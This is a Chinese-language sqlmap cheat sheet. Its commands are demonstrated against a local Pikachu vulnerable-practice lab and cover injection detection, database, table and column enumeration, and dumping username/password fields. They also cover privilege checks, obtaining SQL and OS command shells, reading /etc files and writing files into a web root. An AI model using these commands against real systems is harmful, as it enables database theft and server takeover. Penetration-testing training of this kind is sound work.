Sqlmap使用(必备命令)
一、Sqlmap注入篇
Sqlmap是一个专业的SQL注入工具,用法也很多,具体可以用"sqlmap -hh"查看完整的命令帮助文档,我这只是给大家分享一些最常用的Sqlmap用法。
1、检查注入点
【get】 sqlmap -u "url"
【post】sqlmap -u "url" --data="参数"
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince"
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1"
2、爆所有数据库信息
--dbs(爆所有数据库信息)
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --dbs
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --dbs
--current-db(爆当前数据库信息)
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-db
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-db
3、列出指定数据库所有的表名
-D 数据库名 --tables
例如:列出数据库名为pikachu的所有数据表
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu --tables
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu --tables
4、列出指定表名的所有列名
--columns 所有列名
例如:数据库pikachu中users表所有字段名
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users --columns
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users --columns
5、dump打印输出表名指定列名字段的值数据
-C 指定需要显示数值的字段名,不指定默认显示全部字段
例如:数据库pikachu中users表中username,password字段的值
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" -D pikachu -T users -C username,password --dump
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" -D pikachu -T users -C username,password --dump
6、Sqlmap -r 使用
使用Fiddler或者Burp Suite抓包将get或者post请求保存为.txt文件,然后使用Sqlmap -r “txt文件路径”调用,这样就不用输入参数和cookie了。
例如:登录成功后修改个人信息POST请求存在sql注入,将该post请求拦截后保存.txt文件,就不需要在Sqlmap中输入参数和cookie。
updatapost.txt
POST /pikachu-master/vul/sqli/sqli_iu/sqli_edit.php HTTP/1.1
Host: 192.168.10.7:85
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://192.168.10.7:85
Connection: close
Referer: http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_iu/sqli_edit.php
Cookie: PHPSESSID=iiaobqh1ck7a8fvjeg03n4d650
Upgrade-Insecure-Requests: 1
sex=%E7%94%B7&phonenum=1358956663&add=0&email=2566388%40qq.com&submit=submit
将updatapost.txt放到安装sqlmap的PC中。
如果将updatapost.txt放到sqlmap的安装目录中直接通过:root@kalitian:/# sqlmap -r "updatapost.txt" 即可执行注入。
如果将updatapost.txt放到其它目录例如:
根目录/创建tiansqlmap目录来专门保存sql注入的.txt文件,使用方法-r "路径"
root@kalitian:/# sqlmap -r "/tiansqlmap/updatapost.txt"
7、Sqlmap -m "批量扫描.txt"
批量url.txt放到-->/tiansqlmap/sqlmap批量url.txt
root@kalitian:~# sqlmap -m "/tiansqlmap/sqlmap批量url.txt" --smart --batch --level 5
8、Sqlmap 其它参数
--threads 10 //sqlmap线程最高设置为10
--level 3 //sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高可到5
--risk 3 // 执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
二、Sqlmap用户权限
1、列出数据库管理系统用户
--users 列出数据库系统用户
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --users
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --users
--current-user 查看当前连接数据库用户
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --current-user
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --current-user
2、判断当前用户是否是DBA
--is-dba 是否是DBA
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --is-dba
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --is-dba
3、查看用户权限
--privileges 查看用户权限
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --privileges
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --privileges
--privileges -U 指定用户名查看
三、Sqlmap文件操作与shell提权篇
1、sql shell
--sql-shell 进入sql-shell交互
这里通过sqlmap可以直接获取一个sql shell,直接执行sql语句进行交互。
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --sql-shell
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --sql-shell
进入sql-shell交互:
注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入。
2、cmd shell
--os-shell 进入cmd shell交互
这里通过sqlmap可以直接获取一个cmd shell,直接执行cmd命令进行交互。
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --os-shell
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --os-shell
3、读取服务器上指定文件
--file-read = 需要读取文件路径
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --file-read=/etc/password
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --file-read=d:/text.txt
4、写入本地文件到服务器上
--file-write /test/test.txt --file-dest 本地文件路径
【get字符型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_str.php?name=vince" --file-write /test/test.txt --file-dest /var/www/html/1.txt
【post数字类型】root@kali:/# sqlmap -u "http://192.168.10.7:85/pikachu-master/vul/sqli/sqli_id.php" --data="id=1" --file-write /test/test.txt --file-dest /var/www/html/1.txt